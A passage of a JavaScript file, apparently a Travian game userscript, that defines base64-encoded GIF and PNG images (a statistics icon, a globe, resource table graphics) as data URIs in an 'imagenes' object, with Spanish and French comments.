gsqmqhEgTZLmyhvDEK8iRGDtgNPkALvniAESgjtS75LryBo9LnN2oCXU0FIT54ighxo5jochQEArfAoEfd3BjIAARAUEIQB6ILCBNAHcNezDF2Egg5cANvnhAHUyNTxIEnsQhfwegQyDOsFkAJE/iQaEYn1OAooHcqtAjQxiiDc4AV9wMETnhAEUkyizVr4nKABUQQ2EMG5BjmTY1fQhWVogQ6R0IQcdADkFzDBCFagQx8igYdZ0CETmVVDf0CwVSRvIghSMAIfNMHmKwha0GdIRCPmm5AGrcAHn+sCJejwhD5YwQhlIIMXjuUFfzCgD304wShgMT978qd/T7hBlmIQhBRXtw+CqMT4Pte7NBThAF9gSFD6qQt/+GMZkDJCJvKKCQI4St0M8AIOugAILlyQhgDCw7Sr/SVh4GFwXwrCMsAmAgX4QxNmWkoHCsCF3/lD11wwQiVOIAM1PEq4M8g0Jpodyx2RJwhioEEX/qQwClIw4AEG48MyCqAGhDdEjFxYCiX8EYRRjEIT4+NBNjwh3Bg8YQQVmpMm3VlF7m5CDKQIghZioYkHXMHVgRBERBj5FB5sYgYsy/nOb8wARIwgSyLglDm1uKHCKPwfJ/DHAK7GBgWcQCIGoMX2qMQD82ZhGTdAhBpIQMX9zMALmt1j/eq3loQ6xVIb4MCFIRJ3p3w9CsIVAQggLB2gkEABM9AieTbEgHc0yPBPAQErvzyRxj8FqIlZS4QxL57/fIjwDf3KMjOiIMQYhrm2D6Y/zHiR+u009/8gIu5zf4AC8D4jgwc+YIaPmGUiWiO+V/5amC/Sy4nEFL6fKglxUKBNvhR/lCUBjocQw5XmOz8l2PeQh+i5/e4HUzsKconcPXSA+qt/PPQXiv2fL3+5h9FDZaR+i3cTBFiABniACJiACriADNiADviAEBiBBBEQADs=';\n\t// Imagen de una grafica para las estadisticas\n\timagenes[\"stat\"] = 'data:image/gif;base64,R0lGODlhDAAKAIABAAAAAP///yH5BAEAAAEALAAAAAAMAAoAAAIVjA1wi82eFJP0RIhD1Xn77mhKIhoFADs=';\n\t// globe planetaire\n\timagenes[\"globe\"]= 'data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAYAAABWdVznAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAI2SURBVHjaHI5fSBNxAMe/99vl2p9bW62YseVWKSyJaGoaLk0jfCihHnrQiKjeCxLqJQgEseghCHzpYdFTLxlSQgUra0XLwNDRWFvq5G5bTed2t7vdbbety/V5+D59vvCh8pKC+Mo65LqILm8rvs0vDSyups7Xqgpx7XW+6us99jbyI4Y6ZcLp7gOgGofl5AbqOnng85f4bF/PEWObywlCNES5NN4Ew5WT3e2jSs3wYrDLA0LTOjCmpsE7Uwvv233dRhh3YaVYRILfhNViwpmhIf29QGSaMW67RNMElKZp8I9MaN6OIex3arB7HHC02UAoHYpZGdwii2iyirmvYbAzNyg6NJ/wp2Q9qBQLkbLC3+lGYbsOunoT1vgComkZ8V8cOJZGaDF1m8RWk6f0Zgp2pxm2PVbAooeq14NXVXDZLFbTAuRyHSc6bZgNJzrIek6kdVtZRiNgbrYg8imJSDAOk4Xg0NEWKHkZTjuDMhFQ41ma+Du9waJQgVCqQFHyyCyl8XrqO6YfhSEVqlCVEpgdBuS43zh+2JMkbT7vR0aTILIqNjM5NLsdkItlVPga1tfS6OhpgagK0CQBF872T5KSXEHg7uhIbGkB3FoWYl7EPjcDV4sB7HIOmewfhObeYfz68FNRKeeo6IaEVOQnSqR25dbETACMDTt3O6BqArKcAKJs4v7YucDF4f5r2II0plb/C14qP3n5eIwav+y7edCQf9ZKKc8nr/Y+SH14aM/x0n+5wT8BBgAq+wP5CWdgHAAAAABJRU5ErkJggg==';\n\t// Image ressource pour tableau info ressource dorf1\n\timagenes[\"r0\"] = 'data:image/gif;base64,R0lGODdhSABHAOf+AAcGBwoYBSkMAAYeARwZDQ8oARsoBTIiChU2AConGRw0Ah4yDiIyBSUyHTM0BRpBBUEyATE4GCc/ECRCCSJGACtBBjBAEksyGy1DHEQ4HTRAKCZRBTdMBy1PEy1OGzFQCCtXADlOFDZOHjlMJ1BCKENJJlNEGT9MNGI/JzJgCG0/HDZfFUpMSDZlAz9fC2dIH1JNPz9eGD9cJGlLDU9UMU9YK39FE0tcJ0dcNV5TJ2RTHE1fHWdQKFRcJWRSNE5bQj1wAj9uEEJuGUhtEERtIkVtMFhmNU9uJVFsL1BrOHZdH1doQGVgS1dnT3NhKnFgNX1dMGBjX3ddQ15uLUp+EIRfI1F8IFx4J1J8MFN9KVl+GFt5MpBgKmhuTF15PHJsSY9gPGR7I157RoRtLn1uQmN5Um53Rml2WlmMHnJ0aFuNKGOIMXt0W12MMWCLPWeIP22FQF2VGGmISWmHUm6LNmuSJ7JuLJh4QXWEZniHWX6HS2aYM2iWO4t9ZmeaLYCDZ4OEXHCVPKR7PIyCW4KDfK16SXeZT2+nNXWkNXiXc3KkP32ZYHyjNHakSIiXaZyMb3KvLYeXd3qsLZSUa5STcpKTe5eYWo6UiYSmSX2sPnmxPn2vUn+wSpGreouyZoi8RJ2jk56hnKSpYYHBQZWqhp6oeZqnipSwb6Wkg6GlirGieZO8VYvFVovMOZDMS4bWOrO1eqW5kq+wq6a4mqW8irK3irO1k5LXQay3qLO3nZfXVJDnLqHMk6PXWq/JmcLCn7XKo7/ImsnGisnDm73Io8HFq7rKrcHGwb3Kt8XHt7/YqM7SuMbXuc/Yp8bbs8/atM7Xzd3WrdHZx9vat9bX1c/fwdbcwdrlxt3mzdfrw+jkweLk2NXtztbr19vr0eTpxOHtuujnz9/r2e7queHtzeTs1Ofp5urs4eX32tP/5ef7y/r3suv50u705/P20fr2v/v3uer45e/33fTz6fP18v34yff33/76w/X1+/b+7P/3/fn7+Pz6/vz99Pz+//3//CwAAAAASABHAAAI/gD/CRxIsKDBgwL3DVRYkOE+hggTNnxI8WHEixj5DdTIUKPGf/w+GgwJUmQ/fyEf0ltJD6NLhPwUhvxo8eVCkP7oxcTHct9Km0A3/oNYEiRIogZbivynD5+5p/NYBn0pUmRHoQdnhqLGUaE+etuWSdsWteXUqU+X/jtG7SK+KG1J9uOJbFYsZuLazTvrkiRIWbI+eiQUSu1CfiyoOaVGbRs9c7M6naJV7Vw7oAz9FZUoMd8+ffzOhNLnrx/OEpf4+ctJ7di/1sfoBcA19tgxWYSOzVpk6JQyb3sxD0Q5NGbR0vtC/vjDD59ppxjOrKa377Z1aLgCVNJ7bt8yZPJI/sHh4+nUNXFBrwr0KLK0PtI4zqjud1KcAhrUcF06h7tdvnj5nFHAD/aEE088Z+ASDzByBIKJJ86gZ5NVZkEUEkr9NCdNCCJs448985iDywMWXCJOOO1c0kQ85HgTzwgSSICNPd5UcwIu7XQjxhqNbOIJNlMpRI0s6xU3VGsK+TOLCzKYkl8x0OBBQQdNyOONPWf8IA858qSCgAcKmNIOOs4wEEk7xhjxBo+nVDPhUf3IEoVpfoWEG1PmJELFEDhsg0058ZSxwgojWIMOOTjgkM038uCBAAUVjLANOqQU0MQ+3ZAyxwpZeMKMTJpFRNM/hCTQDkTU4RMKIefYRgQV/kB4gIs87kgjQgsbIDArMCIgEMt/TSjwwAQGIBPPDQucAI0/0ogRAxZvGIMUTEP9008aCWyTkDm2vUVIP/QcswIauF6CDjvMeNCCCwiwQOkEMtRQjTQGiEDBBANcgowCHCxgDDqObOHGGlm8MU9FyWmUD0j6WMuPPifhIEIo/kAjyyWoJNNPHkuUgw8eIMSRQhBwmdPEB0C00MEEykTyQQwNIFOJAhs88MACaXTRwAYF4CGPMTjQocYacLBkDj0NV0uSWQ0fI8IHeFATiiyT5iNOEhIg004ZQFDhdRnd4ILAECmksEEHIkggBMx4aMABBRtQIEEBASyAgKX2sIMD/hJHxHCDONskkwwostBjSi70rHYOt42Zg0cMMXRYToDWtINMBSAkAswGXlNhBQIYeADCEEIQAcIRCnSwLgIDSPDBA3GLUMEAWFghQQN4oNNNJGXQUAI00pBihhlNLAHHDbL4s80IGoywQAQnSECEFQ9sd44GxibiQhwIPCCEECDwjIAbG5QvRAtBrDCACylQ8IEBX3awAQcMVPBAHKsoAEAa5KBjDjJ/IIExSLGINbyhAUSowxGaYI48bEEMWDiCGETwAPSBgAbt2Ab2uBGDIFChAxXYAgLmEIITFGEVdeAD7IIQhAogYGQpGIIHEGCBByBgAhJAwCF0IYkHnMBY/layBiV8MAtHGIIPWQiAFT6BiQVoQAZrwIIWtLAFCawgZS3AATSMYYBZzOIDWjjCEiLQgx0koQc58IIc4LCGGHhgA0DoAAKEEIQNgIAICDBAzYiwgAJA4hauaEQiSJEIZpDjGqjwgSPmYIhM7GEFiuCECDEgAixQQYo3KAAIgBAEIDyAFGWYwB9mMYUY9OALlYAFONahDWFYwgw1mIIXJDABFyjABStoAfrqOABPjKIXLSCCInqhC1a0oA5vWAQ5rPEIHxgiC23IxCFYsYcWxKADS8BAB9RQhCHcoAErCEILgLACD0zgAyf4QQ3EIIp11KMe67hHON45Dlt0YQlT/vjA3UAQzhYIIY4eaMQrXuGKVbwBCKMYRRxasYobGMMYk/hCINqghk0oAhFBEEIE1yCHeo1gAgUI3TiBEEcKbAEDNdBDNO5xj3qwlKXwcOk7okEG3wWAA0MgKSdXsIBWvOIWvWgFJKzghw5o4hat6MUnhFCKQZChEXvYgyI0oYhNcEIRaLCCDArgAqX6QQgbgGEKHrWDGpihGS6Fx0theo93xLQZgKjBCBRAgRQIoWwgKMItXqGLUQCSE0r9xCfUgIZVzMERTlXDHtBABU1kYhOQgIQf1NCBAqBhFz/VBRXuWDoExAAJZhBGTF360nfK1K31EEYXujCHmnWgCIOK/kEvbhHZn7riFrcYxR6ssAEZzCESgPgCH/bgtcdu4hCaUEMbiiCBTfBVF66ABBVSAAQKKOAGPZjEPdYR05autR7wUKta71ELI3ACEUOYkhsasQI19CKhA8XtKD5xCEhsogzMiMUkJsGHHh1iD1loRCAMEYMhIEEEcKACEbDACE64AQRBmEAFemCGd7Q0vKRda3jDa+FxmKEOq1DhA7KwCRYqQhe4ja8rDuGHOnxgFtVoRjCM4YbhckINK3CBdUPwhg/Ubw0vi8HrOqA+Uw7iHvBw61qXvOGXTuIG1yxAEfjgWD6kgBWtGAWKXeGK3jaBFPHgBjcO+cw2UHUNdAhD/gzesAUFYAAEfOBEIBAggiTgCwEuqMEw3vHOeDK5rUtOLQ6SEIMNtOETjm3EA/ygi168tw2joMIAmtCO/pVDHOfYAhH4gAhE8MENdchCFso5B0Qgdw8dEMMWYiCGImygB9pwJ3gD7dJ6WNitfI5GDwxxVU3EQRKMaMSrenGIRlxyE6PgJjLCIY54+KQTZhCDDCJAAAZEQAMNGIEh6qsIafrBCoSVxBwcQIN3LlnDgE73O95hBD1AdhSQ0AQn/JCAJrwCEh4oAhpcoQkh3ADM8qDOPgaYhCVoAAANSEMlmjAAM49iE3zAAhbccIVAhKEADMiBNlhq7u+u1cIvHQcN/kIgBE1EFhKHsEIJsDDQoArVD0SwQDW8IQ+KMKMapMgGHgjAgn0kQgYPSAHEzXa2N2RBBh6IlxFUcesMv3S867b1uoWxBDGsgBOaOMQhFNEGERDhFa2ogxbqoAiiJQIdBzrVP7CBDZqz4QJRMEcS3KCIPXAiCHv4tBskPqwiiKAGk5i10z+O2nXfoxR6MMQGpMqJRvBBCCfwgC72YAACJKAIMhCBMa7hon34Yx/YEAc65PF2FpiiCJGEBCeosIcWt7EDR3BDDBRgBDLY2rvnTneS7wEOPazhCiBQQxYwQb4kyOIEBDOBFEggBvyi41Dy6EdyLl0OeQziBVHABi2G/qAG5GqiEWrQQgwssAAZiNoLSagBLNTq9MEbfh2w2IEkMrGKVViBvQgART5IgAEj6GAMfZAP3qA76HAN5aAQ+zCA3UAOTlAFPgMOIYAFVgUJXHcEDDACb5QFV3AEf0cG0dBxuZduzaAHenALjaYIQdAIGtUAf8ADoQANSsAFoZAP5YAO3nANW3Iw/zCALEIGDpgPyBABSeACexBvfOABEmAEfCNqMSADRpBS49BdpUVaIDcOenADp5BlcUAFasAJFjUADXABtrAMPDADzbAN7VCD3kAO5BAO1MEN2cAN1zAGXJAD1mALKpABARAIm2AIHfAybiAEK+AFopYFWIAE/jwwCCu1ZOs2WtOgB0fACLcFCSvwAXyQCZHlB4cQApdwDTNQBdbwDX+AC+dwKNiADObAD9WQDcAQCSZwBzUQCZ2gCl/QIFgwAKmmaRuwAkeQBVYwBFdQBEbgBE4AC+PwdEh2D+NQC2YwBZjACrjlCm7wAY1QXyj3CXAAA8WgA0qQC6WQC2mQBuJgDdZQDOawD9VgDMDgCD2QAXpQBrQwDGUgB0SGAyPAADeABd+TBZoWRUXwAFtwBT5ABo8wDNpwkMPwSmW0CkGFW71APmtgUdN0CDBjDDoABakwDb9ACD9wBsZgDdBAHdfADMQQDLVgC8HADL4QDKQgARageZXA/gCVJHH8iAUrsAUr8AaNoAh5cAM1UAM9EJRGcARbcARWsAo+BXausAIP4AKO92lZYAFMsI1Q8AfykA3SwAZ/UAnWcA7UgQzikA3sMHPfgA3c8AzpgAcv0AXSkAsOwAAxEIgx0DcUQARE4AZ78Al7oAaZkAmI0GDBhgmNoAW3pWJ7sAYb8AZHQAEecAPKFwljAAWT4AyVswx/YAvJkIr8QAqk8JHkwA3u4CffgA59AAZSkI4jtwL6eE0UcARFUAQUQAUnh3ImF1lU1TWu0AomCEis0AhHhwEAYAqOIAUX8Ac6AAFLEAvGIA7LQAm2kAvdsQ+LIAdloH/OgA6T8g3M/sAGNvAEzlAKIXADAnMFmrYFWyAHMoAFjSBvx6UJWddtmVAHWDAExKRlrSBUiOAJNxAAAJALgMADFyA8gDALwMAM4VAMqFAMqUANyXEKhuAFswAKeQAM9HAozJADYJADnUBCSLCLRFkEH9ABIRAAK7AJmuAHfsAJW5d1WdcGRLACn5BluqALQhUHQsCfwakHOZABs+AL1ZAOcVgO0zANuQCdQ2EMhmAIclAEWCAGvmCDzGAMpgAMsUAKGVACIYAASZAEbYAAPSADGxAHnOBIVoAJ7qkFgdAIVhAGVrBgt7ALNPoKcRABGSAAAAAAeDAIOZADtKAMzrAN3GAKf1AM/suQC9JAHf7ADA6KBVnACV7QCezgDeVQDuHwDdeQC1LgA7HgAQtgAUIQAQkQAVgwCo1gCG0AAkLABy3QiylgBWugBm6ABO9VBHGgCFiAB2wABixwBvrlAxDQCcrADfMgislQDJVQDGTxENDADIvwBp12BJ2QDTY4qc1mCyiAAl5EAwfAABqAAhdQA0TQAUSwCWtwBIPyBljQBm2QBXywAgGwA+5aBDdwA8ggBSqgjcAACCYACHngDPKQDLlQDMVQpNZwgD5hDt0QC6eACYxgBLTQIqYQD+WADelQC1yAAsyADChQCDDwCE6AAmlQBiJQB/KGBV6wCDHgi2hABHPA/p8mkAMEcAIX4APMAAY2cAKx4AuRYAvD8AzEag2pkArkiA1u6BPtcA7SAAwOGgtriA2zQA7f8A3c4AhcoAK2QAxSwAVNQAZK8ALJkA4jywl08D4DMAFu8DkY0AR3SgJjQAJdAAZQEAlQYAM4oAy+0AzsMA2ocAZB+wcfiQ3S8B3naLTdUA2GGw/iIA41yA3PlwtPwAVgMAcraQm08AVjkAF/kA1zgAkiYARLkAEZEAlJcAMHEACkAAgt+AIkAAhkQAZ4AAWCcALKAAzOYAwIygagsAzhcA3YkI64gIo+QQ/t0A436A1/4g0D+HwFaApS8AiJ0AmOUAq+gApOQAJ9/lAKXwABP4AOqQADJEAMiTACYJAAsYC3T8ADX9AMpyAMbAC7GYAHzuAIlPAMl5AKkzqp3tANGesYOYEP8zAP4sB21cAl5LAMxgAKoJAIZcAElRAJpVAMfZAKj6AEF5AbTKADURAPtiAFPFAKzdAFdmACkzBjX2ACNeAMvOALMIACNnABqhAJjpAPfxAJ9lAO5FAOyNsN3CAO1PEPK8EPwtu7UWoLlVDEQTsLplCOgpoKoFC5Y2ACzKAMUmAHNKAMs/CypqAMZGAHKIAKvFALTqAEX6AMzLAMj/AIlEAKzPAIuRANgJAP3WCD3GDD5BAPP5wTLDEPfrIMSIwKlPAH/oDMBnggsDOnO85guTkQGRlQCBngCJHgBDpgCs6AB1XAA3+gDKWgBGPwBMqgDNdwDVwiZtKQkYDAeWv4DeWAhqfSwxSxEu0gDcYwC6hgCpUwy8aguzYsD+hgw9lABjMAAaVAC0xgAqbgC5NQBVUwCcrwB2NACTlbCk4gCDzQp8AwDddgg+jQDrkwDX/ADLs8rfFQFkbxEHhMD0hrDEGbzsZQDechDeIQy9nQDGwwBjkQCbxQDM+pDICAzMp8Dc3ADMDgC6UABXfwArXgC7RgDM+AduIACqbgDpNgCt3QDc3mlQL3EB5BD/jAE9sADQA7C6lgCrYwCw81L8xQDN4c/gxfAMmAoAzV4AzOoM9cUAUtnQ2sGAvAoAc68AJP4AjAENCHRLS2UA/RgAfG4A2Y1g70UBYCtx4+wROP4dG4kAumEAkwTArKyQzWMMDOQAwnyQzqgA5wqAyTcAc0HazcQMbMqgp9UAvPcHPL9AepYA/aUAvDUAzSMBbmoNQX7REJEbzmcA7bEDi4UNV5IAZJUAZnEAnG0Lu8y7v2QA5hCQwtowRQcAa+AAwLONHgwA7zAA5rOA148AW2oA3fMAy/YA3eMBbnUBY+oRr/ECoUAcQb/RTQcAy4wDtbmgQ4UAamwM7VwA0TLQ7ksA3fENBnAAEQgNl/qg3tIA7qQA7t/pAOP8MEcx0NX/AL2HAe8XAOi8MSOUERRkESKvEYgZ0fppAIreaaScDYwe0NO/wnLdLVxWAMzHDf3bCGVoK8SIxW4NAMqGAN1+DOwxsiLAHV+4APKLEUrbwST7ENuJ0Ki2SeXlAGd+Gz6SgN3YANbPgNz0AOwc0NSM12220NwxAN0aANtpAKrd0O4KITKwHVOiHeIxETKsET+LAN1FAXnTCdXiAGHuwM1RClzPAn+Fu8240N1nDSubAM0TAN2hAOy7ANi6MaNk4dLDHjGF0QgpEQWf4U1AANBgy9joDTyvAM1aDaBojU4rDhRLsMhRq0v7AM+DwM8/AVNu55nzcdsCqRHBhtGOtB3ln+v+bQ0XVhDM7w1px3vDhMtOW4DEQssLpbpE+BDxaRHCuhEnl+FIB+EFvueSvxv48BODdXDX8iDvIgD8OLDLiAC8gK56qACrobIvpwMBit5znxeSlh40bRFymhEroeE/Mg4+2w10o9D0c7D4JtDv87D8kgDeEQFeDyMMkxFBTxebN9671OFXl+7RQRFXx97CHyFN5N7oPd2kgj3gkzE79+68ZxEAEBADs=';\n\timagenes[\"r1\"] = 'data:image/gif;base64,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